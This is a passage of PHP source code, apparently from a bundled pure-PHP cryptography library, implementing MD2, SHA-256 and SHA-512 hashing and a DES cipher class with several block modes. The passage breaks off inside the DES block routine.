return $this->l; } function _md5($m) { return pack('H*', md5($m)); } function _sha1($m) { return pack('H*', sha1($m)); } function _md2($m) { static $s = array( 41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6, 19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188, 76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24, 138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251, 245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63, 148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50, 39, 53, 62, 204, 231, 191, 247, 151, 3, 255, 25, 48, 179, 72, 165, 181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210, 150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157, 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27, 96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15, 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197, 234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65, 129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123, 8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233, 203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228, 166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237, 31, 26, 219, 153, 141, 51, 159, 17, 131, 20 ); $pad = 16 - (strlen($m) & 0xF); $m.= str_repeat(chr($pad) , $pad); $length = strlen($m); $c = str_repeat(chr(0) , 16); $l = chr(0); for ($i = 0; $i < $length; $i+= 16) { for ($j = 0; $j < 16; $j++) { $c[$j] = chr($s[ord($m[$i + $j] ^ $l) ] ^ ord($c[$j])); $l = $c[$j]; } } $m.= $c; $length+= 16; $x = str_repeat(chr(0) , 48); for ($i = 0; $i < $length; $i+= 16) { for ($j = 0; $j < 16; $j++) { $x[$j + 16] = $m[$i + $j]; $x[$j + 32] = $x[$j + 16] ^ $x[$j]; } $t = chr(0); for ($j = 0; $j < 18; $j++) { for ($k = 0; $k < 48; $k++) { $x[$k] = $t = $x[$k] ^ chr($s[ord($t) ]); } $t = chr(ord($t) + $j); } } return substr($x, 0, 16); } function _sha256($m) { if (extension_loaded('suhosin')) { return pack('H*', sha256($m)); } $hash = array( 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ); static $k = array( 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ); $length = strlen($m); $m.= str_repeat(chr(0) , 64 - (($length + 8) & 0x3F)); $m[$length] = chr(0x80); $m.= pack('N2', 0, $length << 3); $chunks = str_split($m, 64); foreach($chunks as $chunk) { $w = array(); for ($i = 0; $i < 16; $i++) { extract(unpack('Ntemp', $this->_string_shift($chunk, 4))); $w[] = $temp; } for ($i = 16; $i < 64; $i++) { $s0 = $this->_rightRotate($w[$i - 15], 7) ^ $this->_rightRotate($w[$i - 15], 18) ^ $this->_rightShift($w[$i - 15], 3); $s1 = $this->_rightRotate($w[$i - 2], 17) ^ $this->_rightRotate($w[$i - 2], 19) ^ $this->_rightShift($w[$i - 2], 10); $w[$i] = $this->_add($w[$i - 16], $s0, $w[$i - 7], $s1); } list($a, $b, $c, $d, $e, $f, $g, $h) = $hash; for ($i = 0; $i < 64; $i++) { $s0 = $this->_rightRotate($a, 2) ^ $this->_rightRotate($a, 13) ^ $this->_rightRotate($a, 22); $maj = ($a & $b) ^ ($a & $c) ^ ($b & $c); $t2 = $this->_add($s0, $maj); $s1 = $this->_rightRotate($e, 6) ^ $this->_rightRotate($e, 11) ^ $this->_rightRotate($e, 25); $ch = ($e & $f) ^ ($this->_not($e) & $g); $t1 = $this->_add($h, $s1, $ch, $k[$i], $w[$i]); $h = $g; $g = $f; $f = $e; $e = $this->_add($d, $t1); $d = $c; $c = $b; $b = $a; $a = $this->_add($t1, $t2); } $hash = array( $this->_add($hash[0], $a) , $this->_add($hash[1], $b) , $this->_add($hash[2], $c) , $this->_add($hash[3], $d) , $this->_add($hash[4], $e) , $this->_add($hash[5], $f) , $this->_add($hash[6], $g) , $this->_add($hash[7], $h) ); } return pack('N8', $hash[0], $hash[1], $hash[2], $hash[3], $hash[4], $hash[5], $hash[6], $hash[7]); } function _sha512($m) { if (!class_exists('Math_BigInteger')) { echo 'your fucked'; exit; } static $init384, $init512, $k; if (!isset($k)) { $init384 = array( 'cbbb9d5dc1059ed8', '629a292a367cd507', '9159015a3070dd17', '152fecd8f70e5939', '67332667ffc00b31', '8eb44a8768581511', 'db0c2e0d64f98fa7', '47b5481dbefa4fa4' ); $init512 = array( '6a09e667f3bcc908', 'bb67ae8584caa73b', '3c6ef372fe94f82b', 'a54ff53a5f1d36f1', '510e527fade682d1', '9b05688c2b3e6c1f', '1f83d9abfb41bd6b', '5be0cd19137e2179' ); for ($i = 0; $i < 8; $i++) { $init384[$i] = new Math_BigInteger($init384[$i], 16); $init384[$i]->setPrecision(64); $init512[$i] = new Math_BigInteger($init512[$i], 16); $init512[$i]->setPrecision(64); } $k = array( '428a2f98d728ae22', '7137449123ef65cd', 'b5c0fbcfec4d3b2f', 'e9b5dba58189dbbc', '3956c25bf348b538', '59f111f1b605d019', '923f82a4af194f9b', 'ab1c5ed5da6d8118', 'd807aa98a3030242', '12835b0145706fbe', '243185be4ee4b28c', '550c7dc3d5ffb4e2', '72be5d74f27b896f', '80deb1fe3b1696b1', '9bdc06a725c71235', 'c19bf174cf692694', 'e49b69c19ef14ad2', 'efbe4786384f25e3', '0fc19dc68b8cd5b5', '240ca1cc77ac9c65', '2de92c6f592b0275', '4a7484aa6ea6e483', '5cb0a9dcbd41fbd4', '76f988da831153b5', '983e5152ee66dfab', 'a831c66d2db43210', 'b00327c898fb213f', 'bf597fc7beef0ee4', 'c6e00bf33da88fc2', 'd5a79147930aa725', '06ca6351e003826f', '142929670a0e6e70', '27b70a8546d22ffc', '2e1b21385c26c926', '4d2c6dfc5ac42aed', '53380d139d95b3df', '650a73548baf63de', '766a0abb3c77b2a8', '81c2c92e47edaee6', '92722c851482353b', 'a2bfe8a14cf10364', 'a81a664bbc423001', 'c24b8b70d0f89791', 'c76c51a30654be30', 'd192e819d6ef5218', 'd69906245565a910', 'f40e35855771202a', '106aa07032bbd1b8', '19a4c116b8d2d0c8', '1e376c085141ab53', '2748774cdf8eeb99', '34b0bcb5e19b48a8', '391c0cb3c5c95a63', '4ed8aa4ae3418acb', '5b9cca4f7763e373', '682e6ff3d6b2b8a3', '748f82ee5defb2fc', '78a5636f43172f60', '84c87814a1f0ab72', '8cc702081a6439ec', '90befffa23631e28', 'a4506cebde82bde9', 'bef9a3f7b2c67915', 'c67178f2e372532b', 'ca273eceea26619c', 'd186b8c721c0c207', 'eada7dd6cde0eb1e', 'f57d4f7fee6ed178', '06f067aa72176fba', '0a637dc5a2c898a6', '113f9804bef90dae', '1b710b35131c471b', '28db77f523047d84', '32caab7b40c72493', '3c9ebe0a15c9bebc', '431d67c49c100d4c', '4cc5d4becb3e42b6', '597f299cfc657e2a', '5fcb6fab3ad6faec', '6c44198c4a475817' ); for ($i = 0; $i < 80; $i++) { $k[$i] = new Math_BigInteger($k[$i], 16); } } $hash = $this->l == 48 ? $init384 : $init512; $length = strlen($m); $m.= str_repeat(chr(0) , 128 - (($length + 16) & 0x7F)); $m[$length] = chr(0x80); $m.= pack('N4', 0, 0, 0, $length << 3); $chunks = str_split($m, 128); foreach($chunks as $chunk) { $w = array(); for ($i = 0; $i < 16; $i++) { $temp = new Math_BigInteger($this->_string_shift($chunk, 8) , 256); $temp->setPrecision(64); $w[] = $temp; } for ($i = 16; $i < 80; $i++) { $temp = array( $w[$i - 15]->bitwise_rightRotate(1) , $w[$i - 15]->bitwise_rightRotate(8) , $w[$i - 15]->bitwise_rightShift(7) ); $s0 = $temp[0]->bitwise_xor($temp[1]); $s0 = $s0->bitwise_xor($temp[2]); $temp = array( $w[$i - 2]->bitwise_rightRotate(19) , $w[$i - 2]->bitwise_rightRotate(61) , $w[$i - 2]->bitwise_rightShift(6) ); $s1 = $temp[0]->bitwise_xor($temp[1]); $s1 = $s1->bitwise_xor($temp[2]); $w[$i] = $w[$i - 16]->copy(); $w[$i] = $w[$i]->add($s0); $w[$i] = $w[$i]->add($w[$i - 7]); $w[$i] = $w[$i]->add($s1); } $a = $hash[0]->copy(); $b = $hash[1]->copy(); $c = $hash[2]->copy(); $d = $hash[3]->copy(); $e = $hash[4]->copy(); $f = $hash[5]->copy(); $g = $hash[6]->copy(); $h = $hash[7]->copy(); for ($i = 0; $i < 80; $i++) { $temp = array( $a->bitwise_rightRotate(28) , $a->bitwise_rightRotate(34) , $a->bitwise_rightRotate(39) ); $s0 = $temp[0]->bitwise_xor($temp[1]); $s0 = $s0->bitwise_xor($temp[2]); $temp = array( $a->bitwise_and($b) , $a->bitwise_and($c) , $b->bitwise_and($c) ); $maj = $temp[0]->bitwise_xor($temp[1]); $maj = $maj->bitwise_xor($temp[2]); $t2 = $s0->add($maj); $temp = array( $e->bitwise_rightRotate(14) , $e->bitwise_rightRotate(18) , $e->bitwise_rightRotate(41) ); $s1 = $temp[0]->bitwise_xor($temp[1]); $s1 = $s1->bitwise_xor($temp[2]); $temp = array( $e->bitwise_and($f) , $g->bitwise_and($e->bitwise_not()) ); $ch = $temp[0]->bitwise_xor($temp[1]); $t1 = $h->add($s1); $t1 = $t1->add($ch); $t1 = $t1->add($k[$i]); $t1 = $t1->add($w[$i]); $h = $g->copy(); $g = $f->copy(); $f = $e->copy(); $e = $d->add($t1); $d = $c->copy(); $c = $b->copy(); $b = $a->copy(); $a = $t1->add($t2); } $hash = array( $hash[0]->add($a) , $hash[1]->add($b) , $hash[2]->add($c) , $hash[3]->add($d) , $hash[4]->add($e) , $hash[5]->add($f) , $hash[6]->add($g) , $hash[7]->add($h) ); } $temp = $hash[0]->toBytes() . $hash[1]->toBytes() . $hash[2]->toBytes() . $hash[3]->toBytes() . $hash[4]->toBytes() . $hash[5]->toBytes(); if ($this->l != 48) { $temp.= $hash[6]->toBytes() . $hash[7]->toBytes(); } return $temp; } function _rightRotate($int, $amt) { $invamt = 32 - $amt; $mask = (1 << $invamt) - 1; return (($int << $invamt) & 0xFFFFFFFF) | (($int >> $amt) & $mask); } function _rightShift($int, $amt) { $mask = (1 << (32 - $amt)) - 1; return ($int >> $amt) & $mask; } function _not($int) { return ~$int & 0xFFFFFFFF; } function _add() { static $mod; if (!isset($mod)) { $mod = pow(2, 32); } $result = 0; $arguments = func_get_args(); foreach($arguments as $argument) { $result+= $argument < 0 ? ($argument & 0x7FFFFFFF) + 0x80000000 : $argument; } return fmod($result, $mod); } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_DES_ENCRYPT', 0); define('CRYPT_DES_DECRYPT', 1); define('CRYPT_DES_MODE_CTR', -1); define('CRYPT_DES_MODE_ECB', 1); define('CRYPT_DES_MODE_CBC', 2); define('CRYPT_DES_MODE_CFB', 3); define('CRYPT_DES_MODE_OFB', 4); define('CRYPT_DES_MODE_INTERNAL', 1); define('CRYPT_DES_MODE_MCRYPT', 2); class Crypt_DES { var $keys = "\0\0\0\0\0\0\0\0"; var $mode; var $continuousBuffer = false; var $padding = true; var $iv = "\0\0\0\0\0\0\0\0"; var $encryptIV = "\0\0\0\0\0\0\0\0"; var $decryptIV = "\0\0\0\0\0\0\0\0"; var $enmcrypt; var $demcrypt; var $enchanged = true; var $dechanged = true; var $paddable = false; var $enbuffer = ''; var $debuffer = ''; var $ecb; function Crypt_DES($mode = CRYPT_MODE_DES_CBC) { if (!defined('CRYPT_DES_MODE')) { switch (true) { case extension_loaded('mcrypt'): define('CRYPT_DES_MODE', CRYPT_DES_MODE_MCRYPT); break; default: define('CRYPT_DES_MODE', CRYPT_DES_MODE_INTERNAL); } } switch (CRYPT_DES_MODE) { case CRYPT_DES_MODE_MCRYPT: switch ($mode) { case CRYPT_DES_MODE_ECB: $this->paddable = true; $this->mode = MCRYPT_MODE_ECB; break; case CRYPT_DES_MODE_CTR: $this->mode = 'ctr'; break; case CRYPT_DES_MODE_CFB: $this->mode = 'ncfb'; break; case CRYPT_DES_MODE_OFB: $this->mode = MCRYPT_MODE_NOFB; break; case CRYPT_DES_MODE_CBC: default: $this->paddable = true; $this->mode = MCRYPT_MODE_CBC; } break; default: switch ($mode) { case CRYPT_DES_MODE_ECB: case CRYPT_DES_MODE_CBC: $this->paddable = true; $this->mode = $mode; break; case CRYPT_DES_MODE_CTR: case CRYPT_DES_MODE_CFB: case CRYPT_DES_MODE_OFB: $this->mode = $mode; break; default: $this->paddable = true; $this->mode = CRYPT_DES_MODE_CBC; } } } function setKey($key) { $this->keys = (CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT) ? str_pad(substr($key, 0, 8) , 8, chr(0)) : $this->_prepareKey($key); $this->changed = true; } function setIV($iv) { $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($iv, 0, 8) , 8, chr(0)); $this->changed = true; } function _generate_xor($length, &$iv) { $xor = ''; $num_blocks = ($length + 7) >> 3; for ($i = 0; $i < $num_blocks; $i++) { $xor.= $iv; for ($j = 4; $j <= 8; $j+= 4) { $temp = substr($iv, -$j, 4); switch ($temp) { case "\xFF\xFF\xFF\xFF": $iv = substr_replace($iv, "\x00\x00\x00\x00", -$j, 4); break; case "\x7F\xFF\xFF\xFF": $iv = substr_replace($iv, "\x80\x00\x00\x00", -$j, 4); break 2; default: extract(unpack('Ncount', $temp)); $iv = substr_replace($iv, pack('N', $count + 1) , -$j, 4); break 2; } } } return $xor; } function encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if (CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT) { if ($this->enchanged) { if (!isset($this->enmcrypt)) { $this->enmcrypt = mcrypt_module_open(MCRYPT_DES, '', $this->mode, ''); } mcrypt_generic_init($this->enmcrypt, $this->keys, $this->encryptIV); if ($this->mode != 'ncfb') { $this->enchanged = false; } } if ($this->mode != 'ncfb') { $ciphertext = mcrypt_generic($this->enmcrypt, $plaintext); } else { if ($this->enchanged) { $this->ecb = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->keys, "\0\0\0\0\0\0\0\0"); $this->enchanged = false; } if (strlen($this->enbuffer)) { $ciphertext = $plaintext ^ substr($this->encryptIV, strlen($this->enbuffer)); $this->enbuffer.= $ciphertext; if (strlen($this->enbuffer) == 8) { $this->encryptIV = $this->enbuffer; $this->enbuffer = ''; mcrypt_generic_init($this->enmcrypt, $this->keys, $this->encryptIV); } $plaintext = substr($plaintext, strlen($ciphertext)); } else { $ciphertext = ''; } $last_pos = strlen($plaintext) & 0xFFFFFFF8; $ciphertext.= $last_pos ? mcrypt_generic($this->enmcrypt, substr($plaintext, 0, $last_pos)) : ''; if (strlen($plaintext) & 0x7) { if (strlen($ciphertext)) { $this->encryptIV = substr($ciphertext, -8); } $this->encryptIV = mcrypt_generic($this->ecb, $this->encryptIV); $this->enbuffer = substr($plaintext, $last_pos) ^ $this->encryptIV; $ciphertext.= $this->enbuffer; } } if (!$this->continuousBuffer) { mcrypt_generic_init($this->enmcrypt, $this->keys, $this->encryptIV); } return $ciphertext; } if (!is_array($this->keys)) { $this->keys = $this->_prepareKey("\0\0\0\0\0\0\0\0"); } $buffer = & $this->enbuffer; $continuousBuffer = $this->continuousBuffer; $ciphertext = ''; switch ($this->mode) { case CRYPT_DES_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+= 8) { $ciphertext.= $this->_processBlock(substr($plaintext, $i, 8) , CRYPT_DES_ENCRYPT); } break; case CRYPT_DES_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $block = $this->_processBlock($block ^ $xor, CRYPT_DES_ENCRYPT); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_DES_MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $buffer.= $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $key = $this->_string_shift($buffer, 8); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $key = $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_DES_MODE_CFB: if (!empty($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $iv = $buffer['encrypted'] . $ciphertext; $start = strlen($ciphertext); $buffer['encrypted'].= $ciphertext; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); } else { $ciphertext = ''; $iv = $this->encryptIV; $start = 0; } for ($i = $start; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $xor = $this->_processBlock($iv, CRYPT_DES_ENCRYPT); $iv = $block ^ $xor; if ($continuousBuffer && strlen($iv) != 8) { $buffer = array( 'encrypted' => $iv, 'xor' => substr($xor, strlen($iv)) ); } $ciphertext.= $iv; } if ($this->continuousBuffer) { $this->encryptIV = $iv; } break; case CRYPT_DES_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer.= $xor; $key = $this->_string_shift($buffer, 8); $ciphertext.= substr($plaintext, $i, 8) ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $ciphertext.= substr($plaintext, $i, 8) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer = substr($key, $start) . $buffer; } } } return $ciphertext; } function decrypt($ciphertext) { if ($this->paddable) { $ciphertext = str_pad($ciphertext, (strlen($ciphertext) + 7) & 0xFFFFFFF8, chr(0)); } if (CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT) { if ($this->dechanged) { if (!isset($this->demcrypt)) { $this->demcrypt = mcrypt_module_open(MCRYPT_DES, '', $this->mode, ''); } mcrypt_generic_init($this->demcrypt, $this->keys, $this->decryptIV); if ($this->mode != 'ncfb') { $this->dechanged = false; } } if ($this->mode != 'ncfb') { $plaintext = mdecrypt_generic($this->demcrypt, $ciphertext); } else { if ($this->dechanged) { $this->ecb = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->keys, "\0\0\0\0\0\0\0\0"); $this->dechanged = false; } if (strlen($this->debuffer)) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($this->debuffer)); $this->debuffer.= substr($ciphertext, 0, strlen($plaintext)); if (strlen($this->debuffer) == 8) { $this->decryptIV = $this->debuffer; $this->debuffer = ''; mcrypt_generic_init($this->demcrypt, $this->keys, $this->decryptIV); } $ciphertext = substr($ciphertext, strlen($plaintext)); } else { $plaintext = ''; } $last_pos = strlen($ciphertext) & 0xFFFFFFF8; $plaintext.= $last_pos ? mdecrypt_generic($this->demcrypt, substr($ciphertext, 0, $last_pos)) : ''; if (strlen($ciphertext) & 0x7) { if (strlen($plaintext)) { $this->decryptIV = substr($ciphertext, $last_pos - 8, 8); } $this->decryptIV = mcrypt_generic($this->ecb, $this->decryptIV); $this->debuffer = substr($ciphertext, $last_pos); $plaintext.= $this->debuffer ^ $this->decryptIV; } return $plaintext; } if (!$this->continuousBuffer) { mcrypt_generic_init($this->demcrypt, $this->keys, $this->decryptIV); } return $this->mode != 'ctr' ? $this->_unpad($plaintext) : $plaintext; } if (!is_array($this->keys)) { $this->keys = $this->_prepareKey("\0\0\0\0\0\0\0\0"); } $buffer = & $this->debuffer; $continuousBuffer = $this->continuousBuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_DES_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $plaintext.= $this->_processBlock(substr($ciphertext, $i, 8) , CRYPT_DES_DECRYPT); } break; case CRYPT_DES_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $plaintext.= $this->_processBlock($block, CRYPT_DES_DECRYPT) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_DES_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $buffer.= $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $key = $this->_string_shift($buffer, 8); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $key = $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % 8) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_DES_MODE_CFB: if (!empty($buffer['ciphertext'])) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($buffer['ciphertext'])); $buffer['ciphertext'].= substr($ciphertext, 0, strlen($plaintext)); if (strlen($buffer['ciphertext']) == 8) { $xor = $this->_processBlock($buffer['ciphertext'], CRYPT_DES_ENCRYPT); $buffer['ciphertext'] = ''; } $start = strlen($plaintext); $block = $this->decryptIV; } else { $plaintext = ''; $xor = $this->_processBlock($this->decryptIV, CRYPT_DES_ENCRYPT); $start = 0; } for ($i = $start; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $plaintext.= $block ^ $xor; if ($continuousBuffer && strlen($block) != 8) { $buffer['ciphertext'].= $block; $block = $xor; } else if (strlen($block) == 8) { $xor = $this->_processBlock($block, CRYPT_DES_ENCRYPT); } } if ($this->continuousBuffer) { $this->decryptIV = $block; } break; case CRYPT_DES_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer.= $xor; $key = $this->_string_shift($buffer, 8); $plaintext.= substr($ciphertext, $i, 8) ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $plaintext.= substr($ciphertext, $i, 8) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % 8) { $buffer = substr($key, $start) . $buffer; } } } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } function enableContinuousBuffer() { $this->continuousBuffer = true; } function disableContinuousBuffer() { $this->continuousBuffer = false; $this->encryptIV = $this->iv; $this->decryptIV = $this->iv; } function enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function _pad($text) { $length = strlen($text); if (!$this->padding) { if (($length & 7) == 0) { return $text; } else { user_error("The plaintext's length ($length) is not a multiple of the block size (8)", E_USER_NOTICE); $this->padding = true; } } $pad = 8 - ($length & 7); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if (!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > 8) { return false; } return substr($text, 0, -$length); } function _processBlock($block, $mode) { static $sbox = array( array( 14, 0, 4, 15, 13, 7, 1, 4, 2, 14, 15, 2, 11, 13, 8, 1, 3, 10, 10, 6, 6, 12, 12, 11, 5, 9, 9, 5, 0, 3, 7, 8, 4, 15, 1, 12, 14, 8, 8, 2, 13, 4, 6, 9, 2, 1, 11, 7, 15, 5, 12, 11, 9, 3, 7, 14, 3, 10, 10, 0, 5, 6, 0, 13 ) , array( 15, 3, 1, 13, 8, 4, 14, 7, 6, 15, 11, 2, 3, 8, 4, 14, 9, 12, 7, 0, 2, 1, 13, 10, 12, 6, 0, 9, 5, 11, 10, 5, 0, 13, 14, 8, 7, 10, 11, 1, 10, 3, 4, 15, 13, 4, 1, 2, 5, 11, 8, 6, 12, 7, 6, 12, 9, 0, 3, 5, 2, 14, 15, 9 ) , array( 10, 13, 0, 7, 9, 0, 14, 9, 6, 3, 3, 4, 15, 6, 5, 10, 1, 2, 13, 8, 12, 5, 7, 14, 11, 12, 4, 11, 2, 15, 8, 1, 13, 1, 6, 10, 4, 13, 9, 0, 8, 6, 15, 9, 3, 8, 0, 7, 11, 4, 1, 15, 2, 14, 12, 3, 5, 11, 10, 5, 14, 2, 7, 12 ) , array( 7, 13, 13, 8, 14, 11, 3, 5, 0, 6, 6, 15, 9, 0, 10, 3, 1, 4, 2, 7, 8, 2, 5, 12, 11, 1, 12, 10, 4, 14, 15, 9, 10, 3, 6, 15, 9, 0, 0, 6, 12, 10, 11, 1, 7, 13, 13, 8, 15, 9, 1, 4, 3, 5, 14, 11, 5, 12, 2, 7, 8, 2, 4, 14 ) , array( 2, 14, 12, 11, 4, 2, 1, 12, 7, 4, 10, 7, 11, 13, 6, 1, 8, 5, 5, 0, 3, 15, 15, 10, 13, 3, 0, 9, 14, 8, 9, 6, 4, 11, 2, 8, 1, 12, 11, 7, 10, 1, 13, 14, 7, 2, 8, 13, 15, 6, 9, 15, 12, 0, 5, 9, 6, 10, 3, 4, 0, 5, 14, 3 ) , array( 12, 10, 1, 15, 10, 4, 15, 2, 9, 7, 2, 12, 6, 9, 8, 5, 0, 6, 13, 1, 3, 13, 4, 14, 14, 0, 7, 11, 5, 3, 11, 8, 9, 4, 14, 3, 15, 2, 5, 12, 2, 9, 8, 5, 12, 15, 3, 10, 7, 11, 0, 14, 4, 1, 10, 7, 1, 6, 13, 0, 11, 8, 6, 13 ) , array( 4, 13, 11, 0, 2, 11, 14, 7, 15, 4, 0, 9, 8, 1, 13, 10, 3, 14, 12, 3, 9, 5, 7, 12, 5, 2, 10, 15, 6, 8, 1, 6, 1, 6, 4, 11, 11, 13, 13, 8, 12, 1, 3, 4, 7, 10, 14, 7, 10, 9, 15, 5, 6, 0, 8, 15, 0, 14, 5, 2, 9, 3, 2, 12 ) , array( 13, 1, 2, 15, 8, 13, 4, 8, 6, 10, 15, 3, 11, 7, 1, 4, 10, 12, 9, 5, 3, 6, 14, 11, 5, 0, 0, 14, 12, 9, 7, 2, 7, 2, 11, 1, 4, 14, 1, 7, 9, 4, 12, 10, 14, 8, 2, 13, 0, 15, 6, 12, 10, 9, 13, 0, 15, 3, 3, 5, 5, 6, 8, 11 ) ); $keys = $this->keys; $temp = unpack('Na/Nb', $block); $block = array( $temp['a'], $temp['b'] ); $msb = array( ($block[0] >> 31) & 1, ($block[1] >> 31) & 1 ); $block[0]&= 0x7FFFFFFF; $block[1]&= 0x7FFFFFFF; $block = array( (($block[1] & 0x00000040) << 25) | (($block[1] & 0x00004000) << 16) | (($block[1] & 0x00400001) << 7) | (($block[1] & 0x40000100) >> 2) | (($block[0] & 0x00000040) << 21) | (($block[0] & 0x00004000) << 12) | (($block[0] & 0x00400001) << 3) | (($block[0] & 0x40000100) >> 6) | (($block[1] & 0x00000010) << 19) | (($block[1] & 0x00001000) << 10) | (($block[1] & 0x00100000) << 1) | (($block[1] & 0x10000000) >> 8) | (($block[0] & 0x00000010) << 15) | (($block[0] & 0x00001000) << 6) | (($block[0] & 0x00100000) >> 3) | (($block[0] & 0x10000000) >> 12) | (($block[1] & 0x00000004) << 13) | (($block[1] & 0x00000400) << 4) | (($block[1] & 0x00040000) >> 5) | (($block[1] & 0x04000000) >> 14) | (($block[0] & 0x00000004) << 9) | ($block[0] & 0x00000400) | (($block[0] & 0x00040000) >> 9) | (($block[0] & 0x04000000) >> 18) | (($block[1] & 0x00010000) >> 11) | (($block[1] & 0x01000000) >> 20) | (($block[0] & 0x00010000) >> 15) | (($block[0] & 0x01000000) >> 24) , (($block[1] & 0x00000080) << 24) | (($block[1] & 0x00008000) << 